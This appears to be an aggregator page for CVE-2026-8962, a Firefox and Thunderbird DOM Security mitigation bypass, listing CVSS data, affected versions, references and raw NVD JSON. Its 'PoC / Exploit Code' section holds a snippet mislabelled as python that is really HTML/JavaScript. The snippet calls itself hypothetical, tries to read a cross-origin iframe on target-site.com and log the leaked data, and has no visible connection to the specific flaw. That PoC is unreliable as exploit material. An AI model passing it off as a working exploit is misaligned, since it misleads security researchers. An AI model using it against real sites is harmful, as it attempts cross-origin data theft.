CVE-2026-8962

Description

Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 151, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:* - VULNERABLE

Firefox < 151

Firefox ESR < 140.11

Thunderbird < 151

Thunderbird < 140.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8962 -->
<!-- This PoC demonstrates a potential DOM security bypass -->
<html>
<head><title>CVE-2026-8962 PoC</title></head>
<body>
<script>
    // Hypothetical scenario: Bypassing DOM security restrictions
    try {
        // Create an element that might trigger the bypass
        var vulnerableElement = document.createElement('div');
        vulnerableElement.innerHTML = "<iframe src='http://target-site.com'></iframe>";
        document.body.appendChild(vulnerableElement);

        // Attempt to access cross-origin properties that should be blocked
        var iframe = vulnerableElement.querySelector('iframe');
        iframe.onload = function() {
            try {
                // If the bypass exists, this might succeed
                var data = iframe.contentWindow.document.body.innerHTML;
                console.log("[+] Mitigation bypass successful! Data leaked: " + data.substring(0, 50));
                alert("Vulnerability Exploited: DOM Security Bypass detected.");
            } catch (e) {
                console.log("[-] Bypass failed or patched: " + e.message);
            }
        };
    } catch (e) {
        console.log("Error setting up PoC: " + e.message);
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8962
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8962
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8962/
[4] VulDB https://vuldb.com/cve/CVE-2026-8962
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2004804
[6] https://www.mozilla.org/security/advisories/mfsa2026-46/
[7] https://www.mozilla.org/security/advisories/mfsa2026-48/
[8] https://www.mozilla.org/security/advisories/mfsa2026-50/
[9] https://www.mozilla.org/security/advisories/mfsa2026-51/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8962", "sourceIdentifier": "[email protected]", "published": "2026-05-19T14:16:52.600", "lastModified": "2026-05-20T17:56:52.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 151, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.11.0", "matchCriteriaId": "51216802-B743-4D96-9262-A4B0ECB71A0E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "151.0.0", "matchCriteriaId": "7C197B6D-C48E-4D7E-A1C0-52E081E97DF0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.11", "matchCriteriaId": "35057096-2597-4FB5-AACB-E68FBE0A11A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "151.0.0", "matchCriteriaId": "F6DF6D4E-CB51-4F9E-89A0-6097B9DBDB5C"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2004804", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-46/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-48/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-50/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-51/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}